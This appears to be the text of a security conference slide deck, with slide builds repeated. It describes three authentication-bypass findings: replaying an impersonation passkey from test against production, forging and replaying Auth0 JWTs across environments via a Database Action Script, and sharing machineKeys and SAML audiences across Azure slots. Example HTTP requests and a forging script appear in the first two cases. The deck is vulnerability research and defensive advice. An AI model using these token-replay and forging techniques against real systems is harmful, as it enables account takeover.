Breaking Authentication and Segregation of Production and Non-Production Environments
nahuel@cintainfinita$ whoami

- Cinta Infinita Founder and CEO

- (Web) Application Security specialist & enthusiast

- Many vulnerabilities discovered in Open Source and Commercial software: Vmware, Websense, OSSIM, Cacti, McAfee, Oracle VM, etc.

- Gadgets and Electronics Lover (RFID!)

- http://ar.linkedin.com/in/nahuelgrisolia
- http://cintainfinita.com
MOTIVATION

“The Purpose of Education” - Enlightenment Sense

“The highest goal in life is to inquire and create”

“Education is really aimed at helping students get to the point where they can learn on their own”

“It’s you the learner who is going to achieve in the course of education and it’s really up to you to determine how you’re going to master and use it.”

- Noam Chomsky
MOTIVATION

“The Purpose of Education” - Enlightenment Sense

Hackers are free people, just like artists who wake up in the morning in a good mood and start painting.
MOTIVATION

“The Purpose of Education” - Enlightenment Sense

Hackers are free people, just like artists who wake up in the morning in a good mood and start painting.
FUCK THE SYSTEM
The Old Toad

He lives under the stone. He has been asleep all winter. The warm sun called to him, and he awoke from his long winter nap.
Introduction (boring but necessary)

The Old Toad

He lives under the stone. He has been asleep all winter. The warm sun called to him, and he awoke from his long winter nap.
Introduction (boring but necessary)

Case 1: Be careful while impersonating users. Seriously

The Old Toad
He lives under the stone. He has been asleep all winter. The warm sun called to him, and he awoke from his long winter nap.
Introduction (boring but necessary)

Case 1: Be careful while impersonating users. Seriously

Case 2: Authentication Bypass vulnerability in the Auth0 platform

The Old Toad

He lives under the stone. He has been asleep all winter. The warm sun called to him, and he awoke from his long winter nap.
Introduction (boring but necessary)

Case 1: Be careful while impersonating users. Seriously

Case 2: Authentication Bypass vulnerability in the Auth0 platform

Case 3: Observations in MS Azure and IIS installations running .NET Web Applications using SAML Authentication Machine Keys? Is that a new rock band?

The Old Toad

He lives under the stone. He has been asleep all winter. The warm sun called to him, and he awoke from his long winter nap.
Introduction (boring but necessary)

Case 1: Be careful while impersonating users. Seriously

Case 2: Authentication Bypass vulnerability in the Auth0 platform

Case 3: Observations in MS Azure and IIS installations running .NET Web Applications using SAML Authentication Machine Keys? Is that a new rock band?

Final Conclusions & Recommendations
Introduction (boring but necessary)

Case 1: Be careful while impersonating users. Seriously

Case 2: Authentication Bypass vulnerability in the Auth0 platform

Case 3: Observations in MS Azure and IIS installations running .NET Web Applications using SAML Authentication

Machine Keys? Is that a new rock band?

Final Conclusions & Recommendations
Authentication (AuthN)

Restrictions on Who (or What) can Access a System
Authentication (AuthN)
Restrictions on Who (or What) can Access a System

Authorization (AuthZ)
Restrictions on Actions of Authenticated Users
We usually Pentest in Staging / Development Environments

Full Isolation / Complete Segregation between Environments?

Shared Secrets? Which secrets exactly? Shared Databases?
We usually Pentest in Staging / Development Environments

Full Isolation / Complete Segregation between Environments?

Shared Secrets? Which secrets exactly? Shared Databases?
Federated Identity pattern

“Delegate authentication to an external identity provider”

1. Service trusts IdP or STS
2. Consumer authenticates and requests token
3. STS returns token
4. Consumer presents token to service

https://docs.microsoft.com/en-us/azure/architecture/patterns/federated-identity
Encoded
PASTE A TOKEN HERE

Decoded
PASTE THE PAYLOAD AND SIGNATURE

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}
```

VERIFY SIGNATURE

```
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
) == secret base64 encoded
```

✔️ Signature Verified

https://jwt.io
Security Assertion Markup Language (SAML)

“XML-based framework for communicating user authentication, entitlement, and attribute information”
Case Number One (1/3)
User Impersonation
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators

No password reset (or password sharing ;-) is
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators

No password reset (or password sharing ;-) is required to “act” as the target user
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators

No password reset (or password sharing ;-) is required to “act” as the target user
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators

No password reset (or password sharing ;-) is required to “act” as the target user

Very sensitive functionality (Broken Authorization?)
Case Number One (1/3)
User Impersonation

Usually only for Super Users or Full Site Administrators

No password reset (or password sharing ;-) is required to “act” as the target user

Very sensitive functionality (Broken Authorization?)
Case Number **One** (1/3)

*User Impersonation*

Usually only for Super Users or Full Site Administrators

No password reset (or password sharing ;-) is required to “act” as the target user

Very sensitive functionality (Broken Authorization?)

No “common strategy”
Case Number One (2/3)
User Impersonation
Case Number One (2/3)
User Impersonation

**Request:**
POST /api/user/1753/impersonate HTTP1.1
Host: test.crazy.net
[...]

**Response:**
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:28:17 GMT
Connection: close
Content-Length: 245

{"username":"1753_user","passkey":"OMRDSPWTM2X6KNM3KYHINET6MHL3XHNLYORN3VOK7EFJBFWXHX54HFLQRF7XSVEGOJGZ6G4YHTMNPNEBTKKIEGLSC4WUCTVDV[redacted]"}
Request:
POST /api/user/1753/impersonate HTTP/1.1
Host: test.crazy.net

[...]

Response:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:28:17 GMT
Connection: close
Content-Length: 245

{"username":"1753_user","passkey":"OMRDSPWTM2X6KNM3KYHINET6MHL3XHNLYORN3VO
K7EFJBFWXX54HLQRF7XSVEGOJGZ6G4YHTMPNEBTKKIEGLSC4WUCTVDV[redacted]"}

Request II:
POST /api/authentication/token HTTP/1.1
Host: test.crazy.net

[...]
grant_type=password&username=admin&passw
ord=OMRDSPWTM2X6KNM3KYHINET6MHL3XHNLYORN3VO
K7EFJBFWXX54HLQRF7XSVEGOJGZ6G4YHTMPNEBTKKIEGLSC4WUCTVDV[redacted]

Response II:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:31:12 GMT
Connection: close
Content-Length: 1169

{"access_token":"dxjPlvTBeSg9ztuzMq8Ja_FKcg
NaSV-SVHCt49OxxL2F0kALjeD-
Aq3d0EH4fn0gADjfiHgmmOsChuAkXY2OQbr1Un2fotf
KePcLhcY8BjxcJukP1HuJCwtUo6kj_7IR81-
MQ4cbOARDG9N81FUaP45VHcYxexLGS8JMsEcpJBe[redacted]
","token_type":"bearer","expires_in":1209599,"userName":"admin",".issued":"Tue,
16 Jan 2018 15:31:12 GMT",".expires":"Tue,
30 Jan 2018 15:31:12 GMT"}
Case Number One (2/3)
User Impersonation

Request:
POST /api/user/1753/impersonate HTTP/1.1
Host: test.crazy.net

[...]

Response:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:28:17 GMT
Connection: close
Content-Length: 245
{"username":"1753_user","passkey":"OMRDSPWTM2X6KNM3KYHINET6MHL3XHNLYORN3VOK7EFJBFWXXH54HFLQRF7XSVEGOJGZ6G4YHTMPNEBTKKIEGLSC4WUCTVDV[redacted]"}

Request II:
POST /api/authentication/token HTTP/1.1
Host: test.crazy.net

[...]grant_type=password&username=admin&password=OMRDSPWTM2X6KNM3KYHINET6MHL3XHNLYORN3VOK7EFJBFWXXH54HFLQRF7XSVEGOJGZ6G4YHTMPNEBTKKIEGLSC4WUCTVDV[redacted]

Response II:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:31:12 GMT
Connection: close
Content-Length: 1169
{"access_token":"dxjPlvTBeSg9ztuzMq8Ja_FKcgNaSV-SVH Ct49OxxL2FOkALjeD-Aq3dOEH4fnOgADjfiHgmmOsChuAkXY2OQbrlUn2fotfKePcLhcY8BJxcJukP1HuJcw tUo6kj_7IR81-MQ4cbOARDG9N81FUaP45VHcYxexLGS8JMzEscPJBe[redacted]","token_type":"bearer","expires_in":1209599,"userName":"admin",".issued":"Tue, 16 Jan 2018 15:31:12 GMT",".expires":"Tue, 30 Jan 2018 15:31:12 GMT"}

OK, this is bad, but…
Case Number One (2/3)
User Impersonation

Request:
POST /api/user/1753/impersonate HTTP/1.1
Host: test.crazy.net

Response:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:28:17 GMT
Connection: close
Content-Length: 245
{"username":"1753_user","passkey":"OMRDSPWTM2X6KNM3KYHINET6MHL3XHNLYORN3VOK7EFJFRYH65FLQR7XSVEGOJGZ6G4YHTMPNEBTKKIEGLSOXCTVDV[redacted]"}

Request II:
POST /api/authentication/token HTTP/1.1
Host: test.crazy.net

Response II:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Date: Tue, 16 Jan 2018 15:31:12 GMT
Connection: close
Content-Length: 1169
{"access_token":"dxjPlvTBBeSg9ztuzMq8Ja_FKcgNaSV-SVHCT49OxxL2FOKALjeDe-Aq3dOEH4fn0gADjfiHgmOsChuAkXY20Qbr1Un2fotfKePcLhcY8BJxcJukPlHuJCwtUo6kj_7IR81-MQ4cbARDG9N81FUaP45VHcYxexLGS8JMzEscPJB[redacted]
,"token_type":"bearer","expires_in":1209599,"userName":"admin",".issued":"Tue, 16 Jan 2018 15:31:12 GMT",".expires":"Tue, 30 Jan 2018 15:31:12 GMT"}
Case Number One (3/3)
User Impersonation

GET SCARED
Case Number One (3/3)
User Impersonation

GET SCARED

Request III:
POST /api/authentication/token HTTP/1.1
Host: prod.crazy.net

 [...]grant_type=password&username=admin&password=OMRDSPWTM2X6KNM3KYHINET6MHL3XHNYLORN3VOK7EFJBFWXHX54HFLQRF7XSVEGOJGZ6G4YHTMPNEBTKKIEGLSC4WUCTVDV[redacted]

Response III:
HTTP/1.1 200 OK
Server: Microsoft-IIS/8.5
Connection: close
Content-Length: 1169

{"access_token":"RssDFG44gGfDs6548Ja_FKcgNaSV-SVHCt49OXxL2FOkALjeD-Aq3dOEH4ffdsfdRFCGU5456DDDuJcwUo6kj_7IR81-MQ4cbOARDfGER345VHcYxexLS8JMzEscPJB[e[redacted]","token_type":"bearer","expires_in":1209599,"userName":"admin",".issued":[...]}
Case Number One - Conclusion
User Impersonation

Passkey WTF?
Not Bound to the User for whom it was generated
Testing and Production are Sharing The Decryption Keys
Code will grant access if Password Or Passkey are correct (same parameter name)
With more than 2000 enterprise customers and managing 42 million logins every single day, Auth0 is one of the biggest Identity Platforms (auth0.com).

I found an Authentication Bypass vulnerability that affected any application using Auth0 in the context of an independent non-profitable research.

The described vulnerability would allow malicious users to run cross-company attacks, allowing them to access any portal / application protected with Auth0 with minimum knowledge.

I will demonstrate the flaw attacking the Auth0 Management Console (used as one exploitable example application).
The story begins in September 2017, while I was pentesting an application which we will call “SecureApp”. The application was already in production but we were testing in a DEV environment, and it used Auth0 for authentication.

The authentication flow looked like the following:
Bypassing the Auth0 Authentication Process

The story begins in **September 2017**, while I was pentesting an application which we will call “**SecureApp**”. The application was already in production but we were testing in a **DEV** environment, and it used **Auth0** for authentication.

The authentication flow looked like the following:
Case Number Two (2/5)
Bypassing the Auth0 Authentication Process
We couldn’t modify this payload because it had been signed, but we could try to reuse it.
We couldn’t modify this payload because it had been signed, but we could try to reuse it.
We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a **valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD**, and it **worked**! We were able to access the account for that user in the production environment.
Case Number Two (2/5)
Bypassing the Auth0 Authentication Process

We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD, and it worked! We were able to access the account for that user in the production environment.
We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD, and it worked! We were able to access the account for that user in the production environment.

The question is then, are DEV and PROD environments using the same signing keys / certificates? What else is wrong?
We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD, and it worked! We were able to access the account for that user in the production environment.

The question is then, are DEV and PROD environments using the same signing keys / certificates? What else is wrong?
We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD, and it worked! We were able to access the account for that user in the production environment.

The question is then, are DEV and PROD environments using the same signing keys / certificates? What else is wrong?

Jump through different apps/envs within the organization??????!!!!!
We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD, and it worked! We were able to access the account for that user in the production environment.

The question is then, are DEV and PROD environments using the same signing keys / certificates? What else is wrong?

Jump through different apps/envs within the organization??????!!!!!!

Think of a “user_id” value that identifies an internal user, and multiple applications that rely on that identifier.
Case Number Two (2/5)
Bypassing the Auth0 Authentication Process

We couldn’t modify this payload because it had been signed, but we could try to reuse it.

So, armed with a proxy, we captured a valid “wresult” JWT from the DEV environment and injected it into a login flow in PROD, and it worked! We were able to access the account for that user in the production environment.

The question is then, are DEV and PROD environments using the same signing keys / certificates? What else is wrong?

Jump through different apps/envs within the organization??????!!!!!
Think of a “user_id” value that identifies an internal user, and multiple applications that rely on that identifier.

We could now access all of them even when without valid credentials.
What else can go wrong?

WE'RE GONNA NEED A BIGGER WALL
In order to hijack an account, we would need to forge a valid JWT with that user’s information.

We don’t have access to:

1. the “user_id” (not trivial like an email address or an incremental integer, but for other applications this could be the case) —> TENANT INVITE, ACCEPT, DELETE

2. the signing key (or private certificate)
We found a functionality that could be used (or abused) as an oracle to generate valid JWTs with arbitrary payloads.

The Management Console allows you to create Database Action Scripts that are executed every time a user logs in. We created a simple “Database Action Script” that returned the needed values for the profile, signed ;-)!

```
{
    "user_id": "59d60fef8025c603ce735e02",
    "email": "nahuel+victimacintainfinita.com.ar",
    "email_verified": true,
    "iat": 1507203410,
    "exp": 1507203470,
    "aud": "urn:auth0:atacante:Username-Password-Authentication",
    "iss": "urn:auth0"
}
```

So, now we had the ability to forge a valid signed JWT with the “email” and “user_id” of the victim.

*What about the AUD?*
Case Number Two (5/5)

Bypassing the Auth0 Authentication Process - Attacking the Auth Management Console

Username-Password-Authentication

Securely store and manage username/password credentials either in an Auth0 Database or in your own store. Learn more

Connections

- Database
- Social
- Enterprise
- Passwordless

By default, Auth0 will provide the infrastructure to store users on our own database. However, if you have a legacy database or if you simply want to use your own database (MySQL, MongoDB, SQL Server, etc.), you can turn on this switch. Learn more

Use my own database

Database Action Scripts

This script will be executed each time a user attempts to login.
Two parameters: email and password, are used to validate the authenticity of the user.
Login script is mandatory. The other scripts, if implemented, will be used for sign up, email verification, password reset, and delete user functionality.

```javascript
function Login(email, password, callback) {

  var profile = {
    'user_id': '5c66afaf80256b3ce735e92',
    'email': 'username@infinite.com.br',
    'email_verified': true
  }

  callback(null, profile);
}
```
Case Number Two - Conclusion

Bypassing the Auth0 Authentication Process - Attacking the Auth Management Console
Case Number Two - Conclusion

Bypassing the Auth0 Authentication Process - Attacking the Auth Management Console
Case Number Three (0/6)
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Case Number Three (0/6)

Machine Keys on an Azure App Service, machineKey multiple instances Azure

When you run an ASP.NET application on multiple instances of an App Service Plan (ASP) you do not need to worry about machineKeys as the App Service Platform will use the same one across all your instances and therefore will not need to make any changes to your application.
Machine Keys on an Azure App Service, `machineKey` multiple instances Azure

Clone your existing App using Azure portal

I'm going to show you how easy it is to Clone in Azure Portal. With this feature you can setup a new instance of you app in seconds and start using it.

Clone in Azure Portal feature allows you to move the App you want to clone to a different region or keep it in the same region.

When you clone, Azure will also clone all the App Settings, Connection strings and Deployment sources and Certificates, etc too, so the new cloned app is more or less up and running.
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Case Number Three (0/6)

Machine Keys on an Azure App Service, machineKey multiple instances Azure

Clone your existing App using Azure portal

Set up staging environments in Azure App Service

When you deploy your web app, web app on Linux, mobile back end, and API app to App Service, you can deploy to a separate deployment slot instead of the default production slot when running in the Standard or Premium App Service plan tier. Deployment slots are actually live apps with their own hostnames. App content and configurations elements can be swapped between two deployment slots, including the production slot.

When you clone, Azure will also clone all the App Settings, Connection strings and Deployment sources and Certificates, etc too, so the new cloned app is more or less up and running.
Machine Keys?

machineKey Element (ASP.NET Settings Schema)

Configures keys to use for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

```xml
<machineKey
    validationKey="AutoGenerate,IsolateApps" [String]
    decryptionKey="AutoGenerate,IsolateApps" [String]
    validation="SHA1" [SHA1 | MD5 | 3DES | AES]
    decryption="Auto" [Auto | DES | 3DES | AES]
/>
```
Case Number **Three** (1/6)

Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Machine Keys?

**machineKey Element (ASP.NET Settings Schema)**

```xml
<machineKey
    validationKey="AutoGenerate,IsolateApps" [String]
    decryptionKey="AutoGenerate,IsolateApps" [String]
    validation="SHA1" [SHA1 | MD5 | 3DES | AES]
    decryption="Auto" [Auto | DES | 3DES | AES]
/>
```

Slot swapping?

Staging  ⇔  Production

Deployment slots let you deploy different versions of your web app to different URLs. You can test a certain version and then swap content and configuration between slots.

* Name  
  staging

Configuration Source
  Don't clone configuration from an existi...
Web Application written in .NET on MS Azure
(ASP.NET_SessionId + .ASPXAUTH + FedAuth cookies)

Identity Provider for the above (using SAML)

**Staging + Production SLOTS**
(Swapping is easy my friend..., by default they share the same secrets
-MachineKeys-, and they have to!?)

Common Certificates, easier, faster

**This concept also works in WebApps not Running on MS Azure**
(Standard MS IIS Installation)
Web Application written in .NET on MS Azure
(ASP.NET_SessionId + .ASPXAUTH + FedAuth cookies)

Identity Provider for the above (using SAML)

**Staging + Production SLOTS**
(Swapping is easy my friend..., by default they share the same secrets
-MachineKeys-, and they have to!?)

Common Certificates, easier, faster

**This concept also works in WebApps not Running on MS Azure**
(Standard MS IIS Installation)
Web Application written in .NET on MS Azure (ASP.NET_SessionId + .ASPXAUTH + FedAuth cookies)

Identity Provider for the above (using SAML)

**Staging + Production SLOTS**
(Swapping is easy my friend..., by default they share the same secrets -MachineKeys-, and they have to!?)

Common Certificates, easier, faster

**This concept also works in WebApps not Running on MS Azure (Standard MS IIS Installation)**
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Web Application written in .NET on MS Azure (ASP.NET_SessionId + .ASPXAUTH + FedAuth cookies)

Identity Provider for the above (using SAML)

Staging + Production SLOTS
(Swapping is easy my friend..., by default they share the same secrets -MachineKeys-, and they have to!?)

Common Certificates, easier, faster

This concept also works in WebApps not Running on MS Azure (Standard MS IIS Installation)
Web Application written in .NET on MS Azure (ASP.NET_SessionId + .ASPXAUTH + FedAuth cookies)

Identity Provider for the above (using SAML)

Staging + Production SLOTS
(Swapping is easy my friend..., by default they share the same secrets -MachineKeys-, and they have to!?)

Common Certificates, easier, faster

This concept also works in WebApps not Running on MS Azure (Standard MS IIS Installation)
Case Number Three (2/6)
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

- Web Application written in .NET on MS Azure (ASP.NET_SessionId + .ASPXAUTH + FedAuth cookies)

- Identity Provider for the above (using SAML)

- Staging + Production SLOTS
  (Swapping is easy my friend..., by default they share the same secrets -MachineKeys-, and they have to!?)

- Common Certificates, easier, faster

This concept also works in WebApps not Running on MS Azure (Standard MS IIS Installation)
Case Number Three (3/6)

Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

**MS Azure**

All WebApps Deployed in App Services, with No specific configuration (Web.config), within the Same Resource Group (Slots config!)

=  
Will Share Machine Keys

**IIS**

All WebApps Deployed, with No specific configuration (Web.config), Same or Different Application Pool

=  
Will Share Machine Keys
Case Number Three (4/6)
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Standard Authentication Flow
Case Number Three (5/6)
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Modified Authentication Flow Try 1

- Client
- Identity (Staging)
- Identity (Production)
- Web Application (Staging)
- Web Application (Production)

Username + Password

- return .ASPXAUTH cookie
- .ASPXAUTH cookie

- return SAML
- SAML

- FedAuth cookie

User is logged in!

GET /dashboard
Cookie: FedAuth
Case Number Three (6/6)
Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Modified Authentication Flow Try 2

Injected “wtrealm” here

<audienceUris>
  <add value="http://PROD:port/" />
</audienceUris>
Case Number Three - Conclusion

Observations in MS Azure (and Standard IIS) running .NET Apps & SAML AuthN

Resource Groups?

No Slot Swapping?

<machineKey
  validationKey="AutoGenerate,IsolateApps"
  decryptionKey="AutoGenerate,IsolateApps"
  validation="SHA1"
/>
Conclusions

★ Isolate and Segregate Environments

★ DO NOT share Secrets

★ Verify the Audience of Claims

★ Educate Developers and SysAdmins about Security (crypto, unicorns, etc.)

★ Understand what you are doing in the “Cloud” (eg. Azure Governance)


★ Run Penetration Tests
Shoot your Question!

Shoot your Question!
Knocking Down the Big Door

Breaking Authentication and Segregation of Production and Non-Production Environments

Thanks